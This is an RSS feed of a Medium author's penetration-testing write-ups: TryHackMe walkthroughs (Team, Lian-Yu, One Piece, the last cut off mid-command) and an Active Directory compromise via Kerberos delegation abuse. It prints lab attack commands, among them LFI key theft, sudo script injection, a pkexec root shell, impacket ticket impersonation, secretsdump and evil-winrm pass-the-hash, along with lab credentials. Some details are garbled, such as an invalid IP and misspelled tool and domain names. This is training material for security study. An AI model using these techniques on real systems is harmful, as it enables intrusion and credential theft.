<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Yoel Yosief [ Orit01 ] on Medium]]></title>
        <description><![CDATA[Stories by Yoel Yosief [ Orit01 ] on Medium]]></description>
        <link>https://medium.com/@Yoel_Orit01?source=rss-b2673b8ac1c7------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*ibVdyr1f4KVjpWlwI5MoXg.jpeg</url>
            <title>Stories by Yoel Yosief [ Orit01 ] on Medium</title>
            <link>https://medium.com/@Yoel_Orit01?source=rss-b2673b8ac1c7------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 06 Dec 2026 17:26:49 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@Yoel_Orit01/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Team | TryHackMe Walkthrough]]></title>
            <link>https://medium.com/@Yoel_Orit01/team-tryhackme-walkthrough-9d60ac834382?source=rss-b2673b8ac1c7------2</link>
            <guid isPermaLink="false">https://medium.com/p/9d60ac834382</guid>
            <category><![CDATA[ftp-server]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[web-vulnerabilities]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <dc:creator><![CDATA[Yoel Yosief [ Orit01 ]]]></dc:creator>
            <pubDate>Sat, 09 May 2026 15:30:01 GMT</pubDate>
            <atom:updated>2026-05-09T15:30:01.973Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eULf-q51XkQED67OqiLVxw.png" /></figure><h3>Overview</h3><p>The <strong>Team</strong> room on TryHackMe simulates a realistic Linux-based penetration testing scenario involving reconnaissance, web enumeration, credential discovery, lateral movement, and privilege escalation.</p><p>This write-up demonstrates a structured methodology commonly used during professional penetration tests and red team operations. Each phase is explained in detail, including enumeration techniques, exploitation methodology, and post-exploitation findings.</p><h3>Methodology</h3><p>The engagement followed the following phases:</p><ol><li>Reconnaissance</li><li>Service Enumeration</li><li>Web Application Analysis</li><li>Credential Discovery</li><li>Initial Access</li><li>Privilege Escalation</li><li>Post-Exploitation Analysis</li></ol><h3>Reconnaissance</h3><p>The first step was identifying live services exposed on the target machine.</p><h4>Nmap Scan</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/956/1*K1RHkv53v3RFqW43EqpzJA.png" /></figure><h3>Web Enumeration</h3><p>Visiting the target website revealed a default landing page with minimal functionality.</p><p>And looking up the page source it tells us to add <strong>team.thm</strong> to our hosts</p><pre>sudo nano /etc/hosts<br>10.112.45.344 team.thm</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oqCB1757aOf2364Te5c06A.png" /></figure><p>Then we will get this homepage</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EhjsuoAal2vZ1kqNBFHrjA.png" /></figure><h4>Directory Enumeration</h4><p>Gobuster was used to discover hidden directories and files.</p><pre>gobuster dir -u http://team.thm -w /usr/share/wordlists/dirb/common.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NC4KIu0zB89iLFyFl_qY_g.png" /></figure><h4>Discovered Directories</h4><pre>/assets<br>/index.html<br>/scripts<br>/robots.txt</pre><p>The<strong> /robots.txt</strong> contains a name <strong><em>dale</em></strong>, probably a username</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-TcrJriLsIlMbblOMnC8TQ.png" /></figure><p><strong>/scripts </strong>directory seems forbidden access.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JA0YXosN4T3XLPHLU-9M1w.png" /></figure><p><strong>/assets</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WaE2Df1VeYnhB-FNzxasdg.png" /></figure><p>Lets enumerate the subdirectory /scripts with gobuster, but this time with a parameter: “-x .txt”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/948/1*UkxqgCk9t4jIoh9Qi5CCtw.png" /></figure><p>Accessing the “script.txt”,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LM6kvjiSMSqKlbWbV84yjA.png" /></figure><p>We read the note provided to self in the last line and when we change the name of file to “script.old” in the url, a file is downloaded.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/619/1*0gES397vsnCWmyKJmAW1wg.png" /></figure><p>So, we can also access it using the <strong>curl</strong> command and we get the actual credentials.</p><p>After logging in FTP we get the following:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/825/1*a-gdKmOOVoIBo4KHoTEQMg.png" /></figure><p>After logging in, if commands are stalled due to<em> &quot;entering extended passive mode,</em>&quot; type &quot;<strong>passive</strong>&quot; to resolve the issue.</p><p>The “workshare” directory contains “New_site.txt”, which was downloaded using the “mget” command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*vG-7Ii-u0m31DkYnIdxIDQ.png" /></figure><p>And reading the contents of New_site.txt.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/964/1*a8e-zypspRgsK-vsIPYR_g.png" /></figure><p>It says that we can find further information inside “<strong>.dev”</strong> so let us try to add it /etc/hosts as well.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/955/1*_135WvKkVzdKWZlNg4zMsw.png" /></figure><p>there seems to be nothing on the site.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RMCYEQdoQj7fyZmFSi7QYQ.png" /></figure><p>Upon review of the provided link, file inclusion vulnerabilities (<strong>LFI</strong>) involving <strong>teamshare.php</strong> were observed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QXZSagFcFndc46lU3ZNyGg.png" /></figure><p>Checking on <strong>LFI</strong>, it has turned out positive.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*I7m2byEWz4S9c-NtgmXstQ.png" /></figure><p>Now since we are trying to find an <strong>SSH</strong> credential like private key as mentioned in the file <strong>New_site.txt</strong>, lets look into <strong>sshd.config</strong> which holds the configuration file for SSH.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yXPc56K8GhJxGpUX6b6Niw.png" /></figure><p>or using <strong><em>curl</em></strong>,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/951/1*KlKWiW7ls6cGmXAso8LHuA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/889/1*yu8SnVw_G9oQtIr-rwJFQQ.png" /></figure><p>To proceed, copy the SSH private key and create a new file named id_rsa. Remove any # symbols, as they denote comments.</p><p>Next, set the file permissions to 600 using the command: chmod 600 id_rsa.</p><p><strong>Connecting via SSH</strong>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/985/1*O4647wU7ERmJkvERQ-oQsw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/517/1*QIWXp6cDhsIFnUUyj0dZpg.png" /></figure><p>-User flag:</p><blockquote><em>THM{6Y0TXHz7c2d}</em></blockquote><h3><strong>2. Privilege escalation.</strong></h3><p>We can see there is another user “gyles” which may come in handy to us.</p><p>and on listing the privileges with “<strong>sudo -l</strong>” we see that we do not require sudo privilege to run<em> /home/gyles/admin_checks</em>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/1*iGcpO7od0egq3E-n-jpqCg.png" /></figure><h3><strong>Lateral movement (Dale — Gyles)</strong></h3><p>Reading the content of <strong>/admin_checks</strong> there is a script and 3 possible places to inject system command on the script.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6-dwlC-xL35JVUg4ISO6ow.png" /></figure><p>The script was executed as user “<strong>gyles</strong>” using “<strong>sudo -u</strong>” since it does not require elevated privileges.</p><p>As the prompt for the “<strong>date</strong>” enter <strong>bash -p.</strong></p><p>then type “<strong><em>script -qc /bin/bash /dev/null” </em></strong>to stop the script<em>.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/986/1*IDxBK7hyJlqcV-Jp2mNnqA.png" /></figure><p>Now, looking at the contents of home directory, we see user has left “<strong>.bash history</strong>” so lets peek at what command the user might have used.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZnZE-cJdlJg1e_c402d1DQ.png" /></figure><p>The contents of <strong>.bash_history</strong> include main.backup.sh, indicating the presence of a bash script that may be utilized for experimentation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/889/1*6gXrsO7eixaRIW2Jcp74Qw.png" /></figure><p>We can see that we have the full file permission to run and execute the script since the user “gyles” is the “admin” group.</p><p><strong>Privilege escalation</strong></p><p>So, opening the script with vim, let’s add a reverse shell script for bash which we can access through <a href="https://www.revshells.com/">Revshells.com</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/939/1*sfnQXG5pOj0ebKfL1b7g-Q.png" /></figure><p>At the same time, let’s listen on port 4444 using Netcat.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/770/1*prI-kexnV6B3QjL1UWjFSQ.png" /></figure><h3>Conclusion</h3><p>The TryHackMe Team challenge provides an excellent real-world style penetration testing scenario focused on Linux exploitation and privilege escalation.</p><p>From exposed development infrastructure to credential harvesting and privilege escalation, the room effectively mirrors common weaknesses encountered during internal security assessments.</p><p>By following a structured methodology and maintaining disciplined enumeration throughout the engagement, full system compromise was achieved successfully.</p><p><em>Thank You for Reading</em></p><p><em>Yoel Yosief{Orit01}</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9d60ac834382" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Gaining Domain Admin: A Journey through LDAP, Kerberos, and Delegation Abuse.]]></title>
            <link>https://medium.com/@Yoel_Orit01/gaining-domain-admin-a-journey-through-ldap-kerberos-and-delegation-abuse-8e545725ae37?source=rss-b2673b8ac1c7------2</link>
            <guid isPermaLink="false">https://medium.com/p/8e545725ae37</guid>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[windows-vulnerability]]></category>
            <category><![CDATA[ldap]]></category>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[kerberos-delegation]]></category>
            <dc:creator><![CDATA[Yoel Yosief [ Orit01 ]]]></dc:creator>
            <pubDate>Fri, 08 May 2026 08:28:09 GMT</pubDate>
            <atom:updated>2026-05-08T08:28:09.974Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5TPZoMwm4TNCun7S7c4EcA.png" /></figure><p>In penetration testing, the path to <strong><em>domain administrator privileges often</em></strong> involves a complex chain of exploitation, requiring a deep understanding of network protocols and security misconfigurations.</p><p>This article details a recent engagement where a combination of LDAP enumeration, Kerberos ticket cracking, and delegation abuse led to a successful compromise of a Windows domain.</p><h4><strong>Initial Reconnaissance: LDAP Enumeration</strong></h4><p>The initial phase focused on gathering information about the target environment. Using <strong>ldapdomaindump,</strong> a tool for extracting information from Lightweight Directory Access Protocol (LDAP), a wealth of data regarding users, groups, and network resources was obtained. LDAP, a protocol used for accessing directory information, proved invaluable in mapping out the attack surface (Lightweight Directory Access Protocol (LDAP).</p><p>The command:</p><pre>ldapdomaindump -u &#39;COOCTUS.CORP\Visitor&#39; -p &#39;GuestLogin!&#39; 10.10.140</pre><p>· -u &#39;COOCTUS.CORP\Visitor&#39;: This specifies the username to use for authentication. In this case, the username is &#39;Visitor&#39; and it&#39;s part of the domain &#39;COOCTUS.CORP&#39;.</p><p>· -p &#39;GuestLogin!&#39;: This provides the password for the specified user, which is &#39;GuestLogin!&#39;.</p><p>· 10.10.140.101: This is the IP address of the LDAP server (typically a Domain Controller) that ldapdomaindump will connect to.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MFj-MMdZBfbTgPAThhtkxA.png" /></figure><h4><strong>Kerberos Exploitation: Cracking the Ticket</strong></h4><p>With a clearer understanding of the user landscape, the focus shifted to Kerberos, the authentication protocol used in Windows domains.</p><p><strong>Impacket-GetNPUsers</strong> was employed to request Kerberos tickets for users without pre-authentication enabled. This yielded a hashed password, which was then cracked using <em>hashcat</em> and the <em>rockyou.txt </em>wordlist. The successful cracking of the password for the “password-reset” account proved pivotal.</p><h4><strong>Delegation Abuse: The Path to Domain Admin</strong></h4><p>The cracked password revealed that the “<strong>password-reset</strong>” account possessed “TRUSTED_TO_AUTH_FOR_DELEGATION” privileges, indicating potential for delegation abuse. Further investigation using <strong>impacket-findDelegation</strong> identified delegation relationships within the domain.</p><p>The command:</p><pre>imapcket-findDelegation &#39;COOCTUS.CORT/password-reset&#39;:resetpassword -dc-ip 10.10.140.101</pre><ul><li>‘COOCTUS.CORT/password-reset’:resetpassword: This specifies the service principal name (SPN) that the tool is looking for a delegation for. It suggests the command is trying to find a delegation that allows it to reset the password for the COOCTUS.CORT/password-reset service. The:resetpassword part indicates the specific action or permission associated with the delegation.</li><li>-dc-ip 10.10.140.101: This option specifies the IP address of the domain controller (DC) to use for the Kerberos operations. In this case, it’s 10.10.140.101.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/1*5oBe2DriK_b64fMgSRWDnA.png" /></figure><p><strong>Impacket-getST</strong> was leveraged to perform resource-based constrained delegation, impersonating the Administrator user to gain code execution on the domain controller. This allowed for the dumping of NTLM hashes using <strong>impacket-secretsdump</strong>, providing the administrator’s NTLM hash.</p><p><strong>— getST.py</strong> — to create the TGS necessary to connect to Server02 using an impersonated identity.</p><p>This tool will get us a Kerberos service ticket (TGS) that is valid for a selected service on the remote system we relayed to LDAP (Server02). As the <strong>password-reset </strong>account has delegation rights on this system, we are able to impersonate any user that we want, in this case choosing to impersonate ‘administrator,’ a domain admin on the testlab.local network.</p><p><strong>Resource-Based Constrained Delegation (RBCD) Abuse</strong>: impacket-getST was used to perform resource-based constrained delegation and impersonate the administrator user to gain code execution on the DC.</p><p>The Command:</p><pre>impacket-getST -spn oakley/Dc.COOCTUS.CORP -impersonate Administrator &quot;COOCTUS.CORP/password-reset:[REDACTED PASSWORD]&quot; -dc-ip 10.10.140.101</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YPj9WJMcWs5bswvzhCOp_Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Fvw0QExBS2BMh8bKD_lwYA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/848/1*WwNd6PEGvXtsc6JSWQEDbQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/882/1*LnRjrOLFapFGoYBFSFDDLQ.png" /></figure><h4><strong>Impacket-secretsdump-</strong></h4><pre>impacket-secretsdump -k -no-pass DC.COOCTUS.CORP</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rFo-Cv69YVtRlMfrgObpxA.png" /></figure><h4><strong>Remote Access and Domain Compromise</strong></h4><p>Finally, with the Administrator’s NTLM hash in hand, <strong>evil-winrm</strong> was used to gain remote access to the domain controller, effectively achieving domain administrator privileges.</p><pre>evil-winrm -i 10.10.201.247 -u Administrator -H add41095f1fb0405b32f7REDACTED</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iqBqc4h2dE4NVJnNiHxZrw.png" /></figure><h4>Full Attack Chain</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/448/1*VB63pZdxd1n1PAVLdSCMcA.png" /></figure><h3>Conclusion</h3><p>This engagement demonstrates that achieving Domain Administrator access is rarely about exploiting a single critical flaw — it’s about <strong>connecting multiple small weaknesses into a full attack chain</strong>. What began as low-privileged LDAP visibility evolved into credential exposure through Kerberos misconfiguration, and ultimately escalated via delegation abuse into complete domain compromise.</p><p>Each step on its own might seem low risk:</p><ul><li>Readable directory data</li><li>A single misconfigured Kerberos account</li><li>Over-permissive delegation settings</li></ul><p>But when combined, they form a clear and dangerous path to full control.</p><p>From a defensive standpoint, this reinforces a key lesson:</p><blockquote><em>Security in Active Directory environments must be approached holistically, not in isolation.</em></blockquote><p>Organizations should continuously:</p><ul><li>Audit directory permissions and exposure</li><li>Eliminate unnecessary Kerberos weaknesses</li><li>Closely monitor and restrict delegation configurations</li><li>Treat service accounts with the same rigor as privileged users</li></ul><p>For attackers (and defenders), the real value lies in understanding how these systems interact — not just individually, but as part of a larger ecosystem.</p><p>In the end, <strong>Domain Admin wasn’t “hacked” in a single step — it was <em>earned</em> through enumeration, analysis, and chaining misconfigurations</strong>. That’s what makes modern Active Directory exploitation both challenging and fascinating — and why defending it requires equal depth and vigilance.</p><p><em>Thank You For Reading</em></p><p><em>Yoel Yosief {Orit01}</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8e545725ae37" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Lian-Yu TryHackMe Walkthrough]]></title>
            <link>https://medium.com/@Yoel_Orit01/lian-yu-tryhackme-walkthrough-686059d4ff53?source=rss-b2673b8ac1c7------2</link>
            <guid isPermaLink="false">https://medium.com/p/686059d4ff53</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[encryption]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <dc:creator><![CDATA[Yoel Yosief [ Orit01 ]]]></dc:creator>
            <pubDate>Sat, 02 May 2026 12:35:05 GMT</pubDate>
            <atom:updated>2026-05-02T12:35:05.950Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WVvTR6V9MRoNZFGxzYo8Ew.png" /></figure><h3>Overview</h3><p>The Lian-Yu challenge simulates a vulnerable Linux host containing hidden files, weak credential storage, and privilege escalation opportunities.</p><h3>Methodology</h3><p>This assessment follows the standard penetration testing lifecycle:</p><ol><li>Reconnaissance</li><li>Enumeration</li><li>Exploitation</li><li>Privilege Escalation</li><li>Post-Exploitation</li></ol><h3>Reconnaissance</h3><h3>Port Scanning</h3><p>Using Nmap:</p><pre>nmap -sVC -Pn 10.113.183.217</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1008/1*moHdW_gZ9mRGa1yXiHJQIQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/661/1*K2MDucHfllmZYza87STdnQ.png" /></figure><p>This immediately gives us <strong>multiple attack surfaces</strong>.</p><h3>Web Enumeration</h3><ul><li>Open target in browser. We find a webpage about a short story about Arrowverse.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yvnA6Rp6EmA-0B2HoJk5Fw.png" /></figure><p>It contains a lot of lore keywords that can be tested as username/password/path. Write them down.</p><p>Since HTTP is exposed, enumerate directories.</p><p>Using <strong>ffuf</strong>:</p><pre>ffuf -u http://10.113.148.192/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-directories -fc 403</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_pS6BAVIArrDwZ0VjU6tig.png" /></figure><h3>Discovery</h3><pre>/island</pre><p>Critical web path discovered</p><h3>Inspecting /island</h3><p>Visit:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/973/1*52wFDwkta4T_i37aRHEsaA.png" /></figure><p>Check page source:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*T5qpHbIRdIozFWRwrm6HZA.png" /></figure><h3>Key Finding</h3><p>Potential username:</p><pre>vigilante</pre><p>This is likely intended for a later authentication stage.</p><h3>Hidden File Discovery</h3><p>Continue fuzzing under /island.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5Tdz5SYm0b8TxAnJub9jXw.png" /></figure><p>A common discovery path is:</p><pre>/island/2100</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*H5xoq0UWI6lx8WuM1Xgkvg.png" /></figure><p>Open the page source again.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0OGvDoUAwSqMel6hLlBKxA.png" /></figure><p>You’ll find a clue referencing:</p><pre>.ticket</pre><p>This strongly suggests a hidden file extension.</p><p>Also do another web enumeration:</p><pre>/FUZZ.ticket</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uyWIb5bVdSUAvooBeRdZaw.png" /></figure><p>Access the web page:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7ZtIo8Ql5eYXsFkv40w1fg.png" /></figure><h3>Decoding Credentials</h3><p>The file contains encoded text.</p><p>It is typically <strong>Base58 encoded</strong>.</p><p>Using CyberChef:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*taWI9FmNip2haLSIUixwpw.png" /></figure><p>Decoded result gives the password.</p><p>Now we have:</p><pre>username: vigilante<br>password: !#th3h00d</pre><p>Checking credential assurance. using Hydra:</p><pre>hydra -l &#39;vigilante&#39; -p &#39;!#th3h00d&#39; ftp://ip-target</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rjkJKV29ONegaMsbRmkZzg.png" /></figure><h3>FTP Access</h3><p>Use credentials against FTP.</p><pre>ftp &lt;target_ip&gt;</pre><pre>Login with:<br>vigilante<br>!#th3h00d</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*q73sLVE15thNGx1rjP5fZQ.png" /></figure><p>There were file <strong>png </strong>and download it to our machine <em>using the</em><strong><em> get</em></strong><em> cmd</em></p><p>There were also hidden files ls -la</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*O49xGts00JpSggNX27nEkA.png" /></figure><p>And download it to our kali box using get cmd:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cUaGIWTGTXLJaklkwZ_aaA.png" /></figure><p>We received a text containing potentially sensitive usernames and passwords.</p><h3>Crack Stego Password</h3><p>Use Stegseek</p><pre>stegseek aa.jpg</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/736/1*omsHqA7dLL8p9OnyQ5FcVg.png" /></figure><p>Unzip the zip file:</p><pre>unzip aa.jpg.out</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0a_AW-lQJwXgKDln8Cbt9w.png" /></figure><h3>Extract Hidden Files and Gain Access</h3><ul><li>The password might be in corrupted Leave_me_alone.png.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/756/1*XjjEFg8TqedDpvV4-P-3_A.png" /></figure><ul><li>Create copy of the file because we might alter it.</li><li>Using file command, it is detected as data, not an image file.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ED8ZT-H7Rpx4s3NeVVCPKQ.png" /></figure><ul><li>file command identifies files based on magic bytes/headers, which are the first 8 bytes of the file.</li><li>Checking with hexedit, we find the first 6 bytes are wrong.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WOWPwPnEa3yTl9j8mK71og.png" /></figure><ul><li>Try to fix them into 89 50 4E 47 0D 0A 1A 0A (PNG&#39;s magic bytes), then press Ctrl+X to save and exit.</li></ul><p>Now it’s readable, and we get the password: password</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*G7_HR7XOktQxkDyiuyG3fA.png" /></figure><p>Back to steghide, extract the hidden files in aa.jpg</p><pre>steghide info aa.jpg<br>steghide extract -sf aa.jpg<br>unzip ss.zip<br>cat passwd.txt <br>cat shado</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/736/1*omsHqA7dLL8p9OnyQ5FcVg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/999/1*wZZ_Rxfy25UCASjBuXy6pQ.png" /></figure><ul><li>We find 2 files. One of them contains the password: M3tahuman.</li><li>Earlier hints suggest checking another user.</li><li>We try this password to gain access as slade. It works, and we can obtain the user flag.</li></ul><pre>ssh slade@10.112.154.219<br>la -al<br>cat user.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vT85SlLN-qfGKCaGcnirGg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/733/1*TCfVkm2uZfwf7e5_qO8o3w.png" /></figure><h3>Privilege Escalation</h3><h3>2.1 Enumeration</h3><ul><li>Checking the home directory, we find file .Important, but it contains nothing useful.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/867/1*6_o_CqZwIZvCy-htJDo0rA.png" /></figure><ul><li>Checking sudo privileges(<strong><em>sudo -l</em></strong>), we can run /usr/bin/pkexec as root without password.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/990/1*1r6lYn-qOthNswUsK6p98A.png" /></figure><p>GTFOBins has a method to exploit it to spawn bash as root. Run it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kBIuvgYeo-vv8wTUkeexTw.png" /></figure><pre>/usr/bin/pkexec /bin/bash</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/865/1*E01gRtRnimAjdgqjHrM56g.png" /></figure><pre>cat root.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3WpKNwHUBN29Z6xUHGGMMw.png" /></figure><h3>Final Thoughts</h3><p>The <strong>Lian-Yu</strong> challenge effectively simulates a real-world intrusion chain:</p><blockquote><strong><em>Initial foothold → situational awareness → privilege escalation → objective completion</em></strong></blockquote><p>While relatively small in scope, it mirrors real enterprise weaknesses where:</p><ul><li>Misplaced files</li><li>Weak credentials</li><li>Misconfigured binaries</li></ul><p><em>Thank you for reading</em></p><p><em>Yoel Yosief{Orit01}</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=686059d4ff53" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[One Piece TryHackMe Walkthrough | by Yoel Yosief.]]></title>
            <link>https://medium.com/@Yoel_Orit01/one-piece-tryhackme-walkthrough-by-yoel-yosief-453adb16924d?source=rss-b2673b8ac1c7------2</link>
            <guid isPermaLink="false">https://medium.com/p/453adb16924d</guid>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[encryption]]></category>
            <dc:creator><![CDATA[Yoel Yosief [ Orit01 ]]]></dc:creator>
            <pubDate>Sat, 25 Apr 2026 13:00:32 GMT</pubDate>
            <atom:updated>2026-04-25T13:00:32.273Z</atom:updated>
            <content:encoded><![CDATA[<p><em>A CTF room based on the wonderful manga One Piece. Can you become the Pirate King?</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*TEPcB62vVFo14s5B2HBvrg.jpeg" /></figure><h3>Scan</h3><p>As always, begin by scanning the target. A quick scan reveals:</p><pre>sudo nmap -sVC -p- -Pn -T4 10.132.34.20</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cbxnb0DP6E2BdwDOWPSsSA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SqPaY7Zz57rGVwPlF9Kqhg.png" /></figure><p>We can see 3 different open ports:<br>- 21 FTP<br>- 22 SSH<br>- 80 HTTP</p><p>We can also notice that the FTP port allows you to log anonymously so this should be the go to.</p><h3>Port 21: FTP</h3><p>By logging to the FTP server, you can enumerate what it contains, you get:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/892/1*Qbis4-mf4dHKM7bmj3A4vg.png" /></figure><p>The directory contains a <strong>“welcome.tx</strong>t” file and a hidden directory named “.the_whale_tree”. Extract the file using: get &lt;FILE_NAME&gt;. Navigating to and enumerating the hidden directory reveals:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/906/1*KEbVvGD8VithnbJjhW0l_g.png" /></figure><p>Two hidden files, “<strong>.road_poneglyph.jpeg</strong>” and “<strong>.secret_room.txt</strong>,” are also available for extraction.</p><p>After retrieving these three files from the FTP server, examine each one.</p><h3>File: welcome.txt</h3><p>The file “welcome.txt” contains:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZYO8FsKqQK1SgwMoNo30nQ.png" /></figure><p>This is a reference to the One Piece Zou “island,” an important location in the series’ history.</p><h3>File: .sercret_room.txt</h3><p>The file “.secret_room.txt” has a promising name and contains:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*W-VU6Pu8Zh0AWMHA3z_VHA.png" /></figure><p>Inuarashi and Nekomamushi rule Zou, where one of the four Road Poneglyphs is located (see .road_poneglyph.jpeg).</p><p>Luffy, Inuarashi, and Nekomamushi discuss the quest to find the One Piece and become Pirate King. To reach Laugh Tale, the island containing the One Piece, they must acquire all four Road Poneglyphs.</p><p>Big Mom and Kaido each possess one, while the location of the final Road Poneglyph remains unknown.</p><p>Each Poneglyph, written in an ancient language, provides a key to Laugh Tale. This information answers Task 2 Question 1.</p><h3>File: .road_poneglyph.jpeg</h3><p>By this point, the principles of steganography should be clear; data can be concealed within images through a variety of methods and locations. In this instance, Steghide can be used without a password to reveal the hidden message:</p><pre>steghide extract -sf 